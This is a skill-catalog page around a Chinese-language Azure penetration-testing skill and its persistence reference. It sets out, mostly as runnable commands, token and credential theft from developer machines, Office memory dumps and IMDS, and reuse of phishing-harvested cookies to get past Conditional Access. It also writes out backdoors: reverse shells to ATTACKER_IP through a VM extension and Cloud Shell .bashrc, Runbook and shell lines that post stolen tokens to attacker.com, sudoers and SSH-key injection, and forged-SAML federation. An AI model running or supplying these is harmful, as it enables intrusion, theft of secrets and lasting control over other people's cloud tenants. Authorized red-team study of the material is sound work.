
Azure Pentesting
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with testing & qa tasks during AI-assisted development.
About
azure-pentesting is a Claude Code skill for testing & qa. It helps solo builders move faster with AI-assisted coding.
- azure-pentesting
- Testing & QA
- AI-coding skill
Azure Pentesting by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #1,392 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill azure-pentestingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with testing & qa tasks during AI-assisted development.
Files
Azure 云环境渗透测试方法论
Azure 是全球第二大公有云平台,同时深度绑定 Entra ID(原 Azure AD)和 Microsoft 365 生态。其攻击面呈现独特的"三层结构"——Entra ID 身份层(租户、用户、应用注册、Service Principal)、Azure Resource Manager 资源层(订阅、资源组、RBAC)、以及数据层(Blob Storage、Key Vault、SQL Database)。与 AWS 相比,Azure 的核心差异在于:身份系统(Entra ID)与资源管理系统(ARM)是两套独立的授权体系,且 Entra ID 的 Global Administrator 可以通过 elevateAccess 接管所有 Azure 订阅。有时我们可能会通过各种方法获得了一个凭证,但是这个账号可能只能访问M365全家桶比如word,ppt,sharepoint应用,并不一定能访问Azure云subscription资源,需要手动确认。本技能以攻击阶段(Phase)为主线,组织从"零凭据"到"完全控制"的完整渗透路径。
深入参考
识别到具体攻击阶段后,加载对应参考文档获取完整技术细节:
- 未授权枚举技术清单(Tenant 发现、子域枚举、公开 Blob、用户枚举) → 读 references/unauthenticated-enum.md
- 持久化与后渗透技术清单(Entra ID、Automation、VM、Key Vault 等 12+ 服务) → 读 references/persistence-techniques.md
Phase 0: 攻击面判断
拿到一个 Azure 相关目标后,首先判断当前手持的资产类型,决定进入哪个攻击阶段:
当前持有什么?
├── 无任何凭据
│ ├── 有目标域名/公司名 → Phase 1(未授权枚举)
│ ├── 有 SSRF 漏洞(Azure VM/App Service/Functions)
│ │ └── 打 IMDS 169.254.169.254 获取 Managed Identity Token → Phase 2(目前这个方法不行了,因为如果想拿IMDS需要Metadata: true请求头,大部分的SSRF只能发 GET,且不能自定义 header,最理想的情况其实是命令执行会比较有可能多点现在)
│ └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Azure 用户账号密码
│ ├── 能正常登录 → Phase 2(权限评估)
│ └── 被条件访问策略(CA)阻止 → 绕过 CA 或尝试 Service Principal
│ └── 如果是通过钓鱼比如Evilginx获得账号密码,由于Evilginx会收割目标的Cookie,账号密码,我们可以通过导入cookie绕过CA。这个逻辑很简单,比如你人在中国,但是目标账号经常在新加坡登录,现在突然从新加坡登录IP飞到中国容易收到CA登录阻止。但如果通过Evilginx收割会话,是让目标在这个会话中完成了一整套验证,微软会给该cookie打上验证完成无安全问题,因此我们如果导入该cookie可以绕过CA限制。
│
├── 有 Service Principal 凭据(Client ID + Client Secret / 证书 / Certificate Private Key (.pfx/.pem/.key))
│ └── → Phase 2(注意:SP 通常不受 MFA/CA 限制)
│
├── 有 Access Token / Refresh Token
│ ├── Access Token → 直接使用(有效期通常 1 小时)
│ └── Refresh Token → 刷新获取新 Access Token → Phase 2
│
├── 在 Azure VM / App Service / Functions 内部
│ └── 查询 IMDS 获取 Managed Identity Token → Phase 2
│
└── 有开发者工作站访问权限
└── 检查 ~/.Azure/ 目录获取缓存凭据 → Phase 2Azure 凭据类型速查
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 用户账号密码 | user@tenant.onmicrosoft.com | 永久(直到修改需要二次确认是否有云的访问资格) | 泄露/钓鱼/密码喷洒 |
| Service Principal Secret | Client ID (GUID) + Secret (随机字符串) | 可配置(默认 2 年) | 应用注册/泄露 |
| Service Principal 证书 | Client ID + PFX/PEM 证书 | 证书有效期 | 应用注册/泄露 |
| Access Token | eyJ0eXAi... (JWT 格式) | 通常 1 小时 | 认证流/IMDS/缓存 |
| Refresh Token | 0.ARMA... 格式 | 最长 90 天(滑动窗口) | 缓存文件/令牌窃取 |
| Managed Identity Token | 通过 IMDS 获取的 JWT | 24 小时(自动轮换) | VM/App Service 内部 |
| SAS Token | URL 中 sig=... 参数 | 可配置 | Storage Account 生成 |
凭据缓存文件(开发者工作站)
在已入侵的开发者机器中,检查以下路径获取 Azure 凭据:
# az CLI 缓存(Linux/macOS 明文存储)
cat ~/.Azure/azureProfile.json # 登录用户信息
cat ~/.Azure/msal_token_cache.json # Access Token + Refresh Token
cat ~/.Azure/service_principal_entries.json # SP 凭据(仅 Linux/macOS)
# Az PowerShell 缓存
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
# Windows DPAPI 加密(需解密)
# C:\Users\<user>\.Azure\service_principal_entries.bin
# C:\Users\<user>\.Azure\msal_token_cache.bin
# C:\Users\<user>\AppData\Local\Microsoft\IdentityCache\*.bin
# C:\Users\<user>\AppData\Local\Microsoft\TokenBroker\Cache\*.tbres
#还有另外一种方法,有点类似与取证技巧,先观察是微软全家桶比如word是否在运行,在用户登录后,会代表用户去访问云服务,比如 Microsoft Graph 或 Outlook 相关接口(如 outlook.office365.com)。为了避免每次都重新登录,这些访问用到的 access token 会被缓存到本地,路径就是 %LOCALAPPDATA%\Microsoft\TokenBroker\Cache。也就是说,只要用户在这台机器上用过 Office 登录过 365,你其实有机会“捡现成的 token”,但注意前提是你有admin权限
Get-Process -IncludeUserName | Format-Table -AutoSize -Wrap
#如果发现word在运行用procdump去导一下
procdump.exe -mp id -accepteula
#然后再用string去分析.dmp文件是否包含token特征比如eyJ0ex.....
strings.exe WINWORD.EXE_260425_074224.dmp -accepteula | findstr /i eyJ0eX
Phase 1: 未授权枚举
在没有任何 Azure 凭据的情况下,仍可对目标 Tenant 进行大量信息收集。Azure 的公开 API 和子域名结构提供了丰富的枚举面。
高价值枚举目标
| 目标 | 攻击方式 | 价值 |
|---|---|---|
| Tenant 信息 | login.microsoftonline.com 公开 API | Tenant ID、域名、SSO 配置 |
| 用户枚举 | AADInternals / o365spray | 有效账号列表 → 密码喷洒 |
| 子域名 | MicroBurst 枚举 20+ Azure 子域 | 发现暴露的服务端点 |
| Blob Storage | 公开容器枚举 | 数据泄露、凭据文件 |
| App Service | azurewebsites.net 端点 | Web 漏洞利用 → Managed Identity |
| Azure Functions | 公开 HTTP 触发器 | 代码注入/SSRF → Managed Identity |
| Azure DevOps | dev.azure.com 公开项目 | 代码泄露、Pipeline 凭据 |
快速 Tenant 枚举
# 使用 AADInternals 获取 Tenant 全貌
Install-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table
# 获取 Tenant ID
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.token_endpoint' | grep -oP '[a-f0-9-]{36}'
# 枚举 Tenant 下所有域名
Get-AADIntTenantDomains -Domain target.com
# 检查用户是否存在
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@target.com"子域名与 Blob 枚举
# MicroBurst 子域枚举(覆盖 20+ Azure 域后缀)
Import-Module MicroBurst
Invoke-EnumerateAzureSubDomains -Base targetcorp -Verbose
# Blob 公开容器枚举
Invoke-EnumerateAzureBlobs -Base targetcorp
# 手动检查 Blob 容器
curl -s "https://targetcorp.blob.core.windows.net/backup?restype=container&comp=list"→ 完整的未授权枚举技术清单,读 references/unauthenticated-enum.md
Phase 2: 凭据验证与权限评估
获取凭据后,第一步是验证有效性并评估权限范围。Azure 存在 Entra ID 和 ARM 两套独立授权体系,需分别枚举。
2.1 身份确认
# az CLI — 确认当前身份
az account show # 当前订阅和租户
az ad signed-in-user show # 当前 Entra ID 用户信息
# 列出可访问的所有订阅
az account list --output table
#列出当前能访问的资源
Get-AzResource
#获得当前被分配的角色
Get-AzRoleAssignment
# Az PowerShell
Get-AzContext # 当前上下文
Get-AzSubscription # 可访问的订阅
# 如果是 Service Principal
az login --service-principal -u CLIENT_ID -p SECRET --tenant TENANT_ID2.2 权限与服务枚举
# ARM 层:查看当前用户在订阅上的角色
az role assignment list --assignee "USER_OBJECT_ID" --all --output table
# ARM 层:查看对特定资源的权限
az rest --method GET \
--url "https://management.azure.com/{resource_id}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
# ARM 层:枚举可见资源
az resource list --output table
# 或
Get-AzResource
# 查看某个角色的定义,如果遇到自定义角色
az role definition list --name "ROLE_NAME"
# 列出所有 Key Vault 实例
az keyvault list
# 列出指定 Key Vault 中的所有 Secret 名称
az keyvault secret list --vault-name VAULT_NAME
# 读取指定 Secret 的值
az keyvault secret show --id https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME
# 列出当前订阅下所有虚拟机
az vm list
# 获取指定虚拟机的公网和私网 IP 地址
az vm list-ip-addresses -g RESOURCE_GROUP -n VM_NAME
# 远程在目标 VM 上执行 Shell 命令。需要 VM RunCommand 权限
az vm run-command invoke -g RESOURCE_GROUP -n VM_NAME \
--command-id RunShellScript \
--scripts "whoami"
# PowerShell 版本远程执行命令
Invoke-AzVMRunCommand -VMName vm -ResourceGroupName rg -CommandId RunShellScript -ScriptString "whoami"
# 列出当前订阅中的所有 Storage Account
Get-AzStorageAccount
#列出指定存储账户中的容器
Get-AzStorageContainer -Context $storageAccount.Context
#列出容器中的 Blob 文件
Get-AzStorageBlob -Container “xx” -Context $storageAccount.Context
#列出所有 Automation Account
az automation account list
#列出 Automation Account 中的所有 Runbook
Get-AzAutomationRunbook -ResourceGroupName RG -AutomationAccountName AA
#执行指定 Runbook。 若绑定高权限身份可实现提权
Start-AzAutomationRunbook
#列出订阅中的公网 IP 资源
az network public-ip list
#列出所有网络安全组
az network nsg list
#查看指定 NSG 的规则详情
Get-AzNetworkSecurityGroup -Name xx
#获取ADO token 如果是用户名密码凭证 这里的499bxx就是dev ops id
ADO_TOKEN=$(az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query accessToken -o tsv)
#枚举项目
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/_apis/projects?api-version=7.0"
#读取repo
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/<项目>/_apis/git/repositories?api-version=7.0"
#读取特定repo里面内容
curl -s -H "Authorization: Bearer $ADO_TOKEN" \
"https://dev.azure.com/<组织名>/<repo 名>/_apis/git/repositories?api-version=7.0"
#用ado token作为密码克隆项目代码到本地
git clone https://用户名%40域名.com:$ADO_TOKEN@dev.azure.com/<组织名>/<repo 名>/_git/<repo 名>
#Entra ID 层 graph 枚举,首先是连接 token可以去访问myapps.microsoft.com然后点开dev tool输入graph.关键词过滤定位
Connect-MgGraph -AccessToken (<graph-token> | ConvertTo-SecureString -AsPlainText -Force)
Get-MgContext
#读取所有user
Get-MgUser -All
# Entra ID 层:枚举目录角色
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/me/memberOf" | jq '.value[].displayName'
# 自动化权限发现
# Find_My_Az_Management_Permissions — 自动枚举所有资源权限
python3 Find_My_Az_Management_Permissions.py2.3 权限评估决策树
当前身份权限如何?
├── Entra ID Global Administrator
│ ├── 已可管理所有 Entra ID 资源
│ └── 通过 elevateAccess 接管所有 Azure 订阅 → Phase 4
│
├── 有特定 Entra ID 角色(Application Admin/Cloud App Admin/...)
│ └── 检查是否可操控应用注册/Service Principal → Phase 3 (Entra 提权)
│
├── 有 Azure Owner/Contributor 角色
│ ├── 在特定订阅/资源组范围 → 直接操作资源 → Phase 4
│ └── 尝试横向到其他订阅 → Phase 3
│
├── 有特定服务权限(如 Microsoft.Compute/virtualMachines/*)
│ ├── 检查是否可操控 Managed Identity → Phase 3
│ └── 直接利用当前权限进行后渗透 → Phase 4
│
└── 权限极低 → 尝试利用默认 Entra ID 读权限枚举所有用户/组/应用
└── 寻找提权路径 → Phase 3参考 cloud-iam-audit 技能,进行跨云 IAM 审计
2.4 自动化审计工具
| 工具 | 用途 | 命令 |
|---|---|---|
| AzureHound | Azure 攻击路径图谱(BloodHound 生态) | azurehound list -t TENANT_ID --refresh-token RT |
| ROADtools | Entra ID 全量枚举与分析 | roadrecon auth -u USER -p PASS && roadrecon gather && roadrecon gui |
| ScoutSuite | 多云安全审计报告 | scout azure --cli |
| Prowler | Azure 安全最佳实践检查 | prowler azure |
| MicroBurst | Azure 枚举与攻击工具集 | Import-Module MicroBurst |
| PowerZure | Azure 利用框架 | Import-Module PowerZure |
| AADInternals | Entra ID 深度利用 | Install-Module AADInternals |
| GraphRunner | Microsoft Graph API 利用 | Import-Module GraphRunner |
Phase 3: 提权
Azure 提权发生在两个层面:Entra ID 身份层提权和 ARM 资源层提权。两者相互独立但可互相转化——Entra ID Global Admin 可通过 elevateAccess 获取 ARM Owner,反之 ARM 层某些权限可操控 Entra ID 对象。
Entra ID 层提权
参考 azure-ad-attack 技能,获取 Entra ID 提权与攻击深度指南
核心提权路径:
| 提权路径 | 关键角色/权限 | 原理 |
|---|---|---|
| 应用注册密钥注入 | Application Admin / Cloud App Admin | 给高权限应用添加新 Secret/证书,以 SP 身份登录 |
| 条件访问策略绕过 | — | SP 登录通常不受 CA 限制,IP/地理限制可绕过 |
| 目录角色滥用 | Privileged Role Admin | 给自己分配 Global Admin 角色 |
| 动态组滥用 | — | 修改用户属性匹配动态组规则,继承组的角色分配 |
| 管理单元逃逸 | Helpdesk Admin 在受限 AU 外 | 重置不受 AU 保护的管理员密码 |
| Consent Grant 攻击 | 应用同意权限 | 诱导管理员同意高权限 OAuth 应用 |
ARM 资源层提权决策表
| 提权路径 | 关键 ARM 权限 | 原理 |
|---|---|---|
| 角色分配写入 | Microsoft.Authorization/roleAssignments/write | 给自己分配 Owner 角色 |
| 角色定义修改 | Microsoft.Authorization/roleDefinitions/Write | 修改已分配角色的 Actions 为 * |
| elevateAccess | Global Admin + elevateAccess/action | GA 提升为根范围 User Access Admin |
| Managed Identity 绑定 | 服务写权限 + ManagedIdentity/assign/action | 将高权限 MI 绑定到可控资源 |
| Automation Runbook | Automation/automationAccounts/jobs/write | 通过 Runbook 执行代码获取 MI Token |
| VM 命令执行 | Compute/virtualMachines/extensions/write | CustomScript Extension 在 VM 中执行命令 |
| Function App 代码覆盖 | Storage 写权限(File Share/Blob) | 修改函数代码获取绑定的 MI Token |
| App Service SSH | Web/sites/publish/Action | SSH 进入 App Service 获取环境变量和 MI |
| Key Vault 策略修改 | KeyVault/vaults/write | 修改访问策略获取 Secret/Key/Cert |
| Logic App 后门 | Logic/workflows/write | 利用 MI 执行任意 Azure API 操作 |
Managed Identity 提权核心流程
Managed Identity 是 Azure 提权中最关键的枢纽(类似 AWS 的 PassRole)。如果攻击者可以在绑定了高权限 MI 的资源中执行代码,就能获取该 MI 的 Token:
攻击者拥有: Automation Account 写权限 + 目标 MI 绑定在该 Account
│
├─ 1. 创建/修改 Runbook,代码中请求 MI Token
│ $token = (Invoke-WebRequest -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/" \
│ -Headers @{X-IDENTITY-HEADER=$env:IDENTITY_HEADER}).Content
├─ 2. 执行 Runbook
└─ 3. 获取高权限 MI Token → 接管目标资源# VM 内部获取 Managed Identity Token(通过 IMDS)
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# App Service / Functions 内部获取 MI Token
curl -s -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"Phase 4: 横向移动
Azure 环境中的横向移动发生在三个维度:
跨订阅移动:
- 利用 Management Group 层级的角色继承
- 利用跨订阅的 Managed Identity 分配
- 利用共享 Key Vault / Storage Account
跨服务移动:
- VM CustomScript Extension → 横向到其他 VM
- Automation Hybrid Worker → 从云端到 OnPrem 机器
- App Service / Functions → 通过 MI 访问其他服务
Cloud-to-OnPrem 移动:
- Azure AD Connect → 同步服务器 → 域控
- Hybrid Worker → OnPrem 网络
- Azure AD PHS/PTA/Federation → OnPrem AD
参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动深度指南
Phase 5: 后渗透与持久化
获得较高权限后,进入后渗透阶段。
5.1 数据发现与获取
优先搜索哪些数据源?
├── Key Vault → 密码、证书、API 密钥、连接字符串
├── Blob Storage → 文档、备份、日志、配置文件
├── SQL Database / Cosmos DB → 业务数据
├── App Service / Functions 环境变量 → 数据库连接串、第三方 API 密钥
├── Automation Account 变量/凭据 → 加密变量、存储的凭据
└── Azure DevOps → 代码仓库、Pipeline 密钥、Variable Groups# 列出 Key Vault 密钥
az keyvault list --output table
az keyvault secret list --vault-name VAULT_NAME --output table
az keyvault secret show --vault-name VAULT_NAME --name SECRET_NAME
# 列出 Storage Account 并下载敏感文件
az storage account list --output table
az storage account keys list --account-name ACCOUNT_NAME
az storage blob download-batch -d ./loot -s CONTAINER --account-name ACCOUNT_NAME
# 获取 App Service 环境变量(含数据库连接串等)
az webapp config appsettings list --name APP_NAME --resource-group RG
# 获取 Automation Account 变量
az automation variable list --automation-account-name ACCT --resource-group RG5.2 持久化技术概览
| 服务 | 持久化方法 | 隐蔽性 |
|---|---|---|
| Entra ID 应用注册 | 添加 Secret/证书到高权限应用、创建新 OAuth 应用 | 中 |
| Service Principal | 创建 Federated Identity Credential(信任外部 IdP) | 高 |
| Federation | 添加可信域 + 伪造 Token(Golden SAML 变种) | 高 |
| Automation Account | Runbook 后门 + Schedule/Webhook 定时触发 | 中 |
| VM | Custom Script Extension、User Data 后门、SSH Key 注入 | 中 |
| Cloud Shell | .bashrc / PS Profile 后门(持久存储) | 高 |
| Key Vault | 修改访问策略保留访问、提取密钥后外部使用 | 中 |
| Storage Account | 生成长期 SAS Token、保存 Access Key | 高 |
| Logic App | 后门 Workflow + SAS URL 触发 | 高 |
| SQL Database | 创建后门 SQL 用户、防火墙规则 | 中 |
| Azure DevOps | PAT 创建、Pipeline 注入、Service Connection 后门 | 高 |
→ 完整的 12+ 服务持久化技术清单,读 references/persistence-techniques.md
附录: Azure 速查
常用 az CLI 命令
# 身份与权限
az account show # 当前上下文
az account list --output table # 所有可访问订阅
az ad signed-in-user show # 当前用户
az role assignment list --assignee "ID" --all # 角色分配
# 枚举资源
az resource list --output table # 所有可见资源
az vm list --output table # VM 列表
az webapp list --output table # App Service 列表
az functionapp list --output table # Function App 列表
az keyvault list --output table # Key Vault 列表
az storage account list --output table # Storage Account 列表
# 凭据操作
az login --service-principal -u CID -p SECRET --tenant TID # SP 登录
az account get-access-token --resource https://management.azure.com/ # 获取 Token
#PS登录方式
$passwd = ConvertTo-SecureString "<密码>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("邮箱", $passwd)
Connect-AzAccount -Credential $creds
#获得token并连接MgGraph:
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
Connect-MgGraph -AccessToken ($Token | ConvertTo-SecureString -AsPlainText -Force)
# IMDS(从 VM 内部)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq .
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Azure 与 AWS 概念对照
| Azure 概念 | AWS 等价物 | 说明 |
|---|---|---|
| Entra ID (Azure AD) | IAM + Organizations | 身份管理,但 Azure 独立于资源管理 |
| Tenant | Account (root) | 最顶层身份容器 |
| Subscription | Account (member) | 计费与资源隔离单元 |
| Resource Group | — (无直接等价) | 资源逻辑分组 |
| Management Group | Organizational Unit (OU) | 层级管理结构 |
| RBAC Role | IAM Policy | 权限控制 |
| Service Principal | IAM Role (for service) | 服务身份 |
| Managed Identity | EC2 Instance Profile / Lambda Role | 自动凭据管理 |
| Key Vault | Secrets Manager + KMS | 密钥与凭据管理 |
| App Service | Elastic Beanstalk / App Runner | 托管 Web 应用 |
| Azure Functions | Lambda | 无服务器计算 |
| Blob Storage | S3 | 对象存储 |
注意事项
Azure Activity Log 审计感知: 所有 ARM 管理平面操作都会被 Activity Log 记录(保留 90 天)。以下操作高可见性:
- 角色分配变更(roleAssignments/write)
- 资源创建/删除
- 策略修改
Entra ID 的 Sign-in Log 和 Audit Log 记录所有身份认证事件和目录变更。
Microsoft Defender for Cloud 检测风险:
- 异常 IP 登录
- 暴力破解 / 密码喷洒
- 可疑的角色分配
- 异常资源创建(挖矿检测)
- Key Vault 异常访问模式
Microsoft Sentinel 高级检测: 如果目标启用了 Sentinel SIEM,自定义分析规则可能检测到:
- Service Principal 异常登录模式
- Automation Runbook 异常执行
- 跨订阅横向移动模式
速率限制: Azure Resource Manager 对每个订阅有请求限制(读 12000/小时,写 1200/小时)。Graph API 也有类似限制。大规模枚举时需注意节流。
---
参考 azure-ad-attack 技能,获取 Entra ID 攻击与提权深度指南
参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动方法论
参考 cloud-iam-audit 技能,进行跨云 IAM 审计与策略分析
Azure 持久化与后渗透技术清单
本文档覆盖 12+ Azure 服务的持久化与后渗透技术。获得初始访问后,攻击者利用这些技术确保即使密码被重置或部分权限被撤销,仍能维持对目标环境的访问。
Entra ID 持久化
Entra ID 层面的持久化最为强力——控制身份层即控制一切。
应用注册密钥注入
为高权限应用(如拥有 Directory.ReadWrite.All 或 RoleManagement.ReadWrite.Directory 的应用)添加新的凭据:
# 方法一:添加 Client Secret
az ad app credential reset --id APP_OBJECT_ID --append
# 方法二:添加证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=backdoor"
az ad app credential reset --id APP_OBJECT_ID --cert @cert.pem --append
# 使用新凭据登录
az login --service-principal -u CLIENT_ID -p SECRET --tenant TENANT_ID
# 证书登录
az login --service-principal -u CLIENT_ID --certificate cert.pem --tenant TENANT_ID优势:SP 登录通常不受条件访问策略和 MFA 限制,且应用权限容易被审计忽略。
Federated Identity Credential
为 Managed Identity 添加 Federated Identity Credential,允许外部 IdP(如 GitHub Actions)直接获取 Token:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/{mi-name}/federatedIdentityCredentials/{fic-name}?api-version=2023-01-31" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:attacker/repo:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'Federation 后门(Golden SAML 变种)
拥有 Global Admin 权限后,可通过添加可信联合域实现持久化——即使密码被重置也能以任意用户身份登录:
# 方法一:添加新的受信域并配置联合认证
ConvertTo-AADIntBackdoor -DomainName backdoor.target.com
# 获取目标用户的 ImmutableID
Get-MsolUser | Select-Object UserPrincipalName, ImmutableID
# 以任意用户身份登录(使用内置证书伪造 Token)
Open-AADIntOffice365Portal -ImmutableID "qIMPTm2Q3kimHgg4KQyveA==" \
-Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true# 方法二:替换 ADFS 的 Token 签名证书(需要 ADFS DA 权限)
# 创建超长有效期的新签名证书
New-AADIntADFSSelfSignedCertificates
# 同步到 Entra ID
Update-AADIntADFSFederationSettings -Domain target.com
# 之后可伪造任意用户的 SAML TokenOAuth 应用持久化
注册新的多租户应用并请求高权限 Graph API scope,以 Admin 身份同意后通过 Client Credential 流持续访问数据:
az ad app create --display-name "Azure Monitor Agent" \
--required-resource-accesses @permissions.json
az ad app permission admin-consent --id APP_IDAutomation Account 持久化
Runbook 后门
# 修改现有 Runbook 注入后门代码
az automation runbook replace-content --no-wait \
--resource-group RG \
--automation-account-name ACCT \
--name ExistingRunbook \
--content '
# 原始代码保留...
# 后门:获取 MI Token 并外传
$token = (Invoke-WebRequest -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/" -Headers @{X-IDENTITY-HEADER=$env:IDENTITY_HEADER} -UseBasicParsing).Content
Invoke-WebRequest -Uri "https://attacker.com/collect" -Method POST -Body $token -UseBasicParsing
'
# 发布更新
az automation runbook publish \
--resource-group RG \
--automation-account-name ACCT \
--name ExistingRunbookSchedule 定时触发
# 创建定时计划(最小间隔 15 分钟)
az automation schedule create --resource-group RG --automation-account-name ACCT \
--name "MetricsCollection" --start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute --interval 15
# 将计划绑定到后门 Runbook(使用随机 GUID 作为 jobSchedule ID)
az rest --method PUT \
--url "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Automation/automationAccounts/{acct}/jobSchedules/{random-guid}?api-version=2015-10-31" \
--body '{"properties":{"runbook":{"name":"ExistingRunbook"},"schedule":{"name":"MetricsCollection"}}}'Webhook 触发
# 创建 Webhook(返回的 URI 仅在创建时显示一次)
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Automation/automationAccounts/{acct}/webhooks/{name}?api-version=2015-10-31" \
--body '{"name":"name","properties":{"isEnabled":true,"expiryTime":"2027-12-31T23:59:59+00:00","runbook":{"name":"ExistingRunbook"}}}'
# 之后通过 HTTP POST 触发:curl -X POST "https://{webhook-uri}" -H "Content-Length: 0"Source Control 后门
将外部 Git 仓库配置为自动同步到 Automation Account,实现代码级持久化:
az automation source-control create --resource-group RG --automation-account-name ACCT \
--name "RemoteSync" --repo-url "https://github.com/attacker/runbooks.git" --branch main \
--folder-path /runbooks/ --publish-runbook true --auto-sync \
--source-type GitHub --token-type PersonalAccessToken --access-token "ghp_..."Hybrid Worker 利用
如果 Automation Account 使用了 Hybrid Worker Group(在 VM 上运行 Runbook),可在 VM 中植入恶意软件持续窃取 MI Token,或利用 Hybrid Worker 横向移动到 OnPrem 网络。从 VM 环境变量可获取 Automation Account 元数据服务 URL 和密钥。
VM 持久化
Custom Script Extension
# Linux VM — 注入反弹 Shell
az vm extension set \
--resource-group RG \
--vm-name VM_NAME \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\" &"}'
# Windows VM — 执行 PowerShell
az vm extension set \
--resource-group RG \
--vm-name VM_NAME \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand BASE64_PAYLOAD"}'Run Command
# 无需 SSH/RDP,直接在 VM 中执行命令
az vm run-command invoke --resource-group RG --name VM_NAME --command-id RunShellScript \
--scripts "echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers && echo 'ssh-rsa KEY' >> /root/.ssh/authorized_keys"VM 应用/镜像后门
- VM Application/Extension:修改频繁部署的 Application 包或部署恶意 Extension,新实例创建时自动执行
- VM Image:后门自定义镜像,所有基于该镜像创建的 VM 都被植入
- User Data:修改 VM 的 User Data 脚本,重启时执行后门
Cloud Shell 持久化
Azure Cloud Shell 的 $HOME 挂载在持久化 Azure File Share 上,.bashrc 和 PowerShell Profile 每次会话启动时自动执行:
# Bash 后门
echo '(nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1" 2>/dev/null &)' >> $HOME/.bashrc
# PowerShell Profile 后门
echo 'Invoke-Expression ...' >> $HOME/.config/PowerShell/Microsoft.PowerShell_profile.ps1
# Token 窃取
echo 'curl -sH "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | curl -sX POST -d @- https://attacker.com/c &' >> $HOME/.bashrc如果有其他用户 Cloud Shell File Share 的写权限,可下载其 .img 镜像文件、挂载后注入后门、上传回去(Cloud Shell Image 钓鱼)。
Key Vault 后渗透
访问策略修改
# 检查 Key Vault 是否使用 Access Policy 模式(而非 RBAC)
az keyvault show --name VAULT_NAME | jq '.properties.enableRbacAuthorization'
# false → 可修改 Access Policy
# 给自己授予所有权限
az keyvault set-policy \
--name VAULT_NAME \
--object-id YOUR_OBJECT_ID \
--key-permissions all \
--secret-permissions all \
--certificate-permissions all密钥提取与持久化
# 提取 Secret
az keyvault secret list --vault-name VAULT --output table
az keyvault secret show --vault-name VAULT --name NAME --query value -o tsv
# 导出证书(含私钥)
az keyvault secret show --vault-name VAULT --name CERT --query value -o tsv | base64 -d > cert.pfx
# 绕过网络限制
az keyvault network-rule add --name VAULT --ip-address YOUR_IPStorage Account 持久化
# 保存 Access Key(共 2 个,任一个都可完全访问,即使 RBAC 被撤销仍有效)
az storage account keys list --account-name ACCOUNT_NAME
# 生成长期 Account SAS(Account Key SAS 可设任意过期时间)
az storage account generate-sas --account-name ACCOUNT_NAME --account-key "KEY" \
--services bfqt --resource-types sco --permissions rwdlacup --expiry "2027-12-31T23:59:59Z"
# 启用容器删除保留(保留被删除的容器 100 天,窗口期内可恢复数据)
az storage account blob-service-properties update --account-name ACCOUNT_NAME \
--enable-container-delete-retention true --container-delete-retention-days 100Function App 后渗透
# 获取 Master Key 和 Host Key
az functionapp keys list --name FUNC --resource-group RG
# 获取 Storage 连接信息(函数代码通常存储在 File Share 或 Blob 中)
az functionapp config appsettings list --name FUNC --resource-group RG | \
jq '.[] | select(.name | test("WEBSITE_CONTENT|AzureWebJobs"))'
# 连接 File Share 修改函数代码(macOS)
open "smb://STORAGE_ACCOUNT.file.core.windows.net/FILE_SHARE"
# 修改 /site/wwwroot/function_app.py 注入后门代码Logic App 持久化
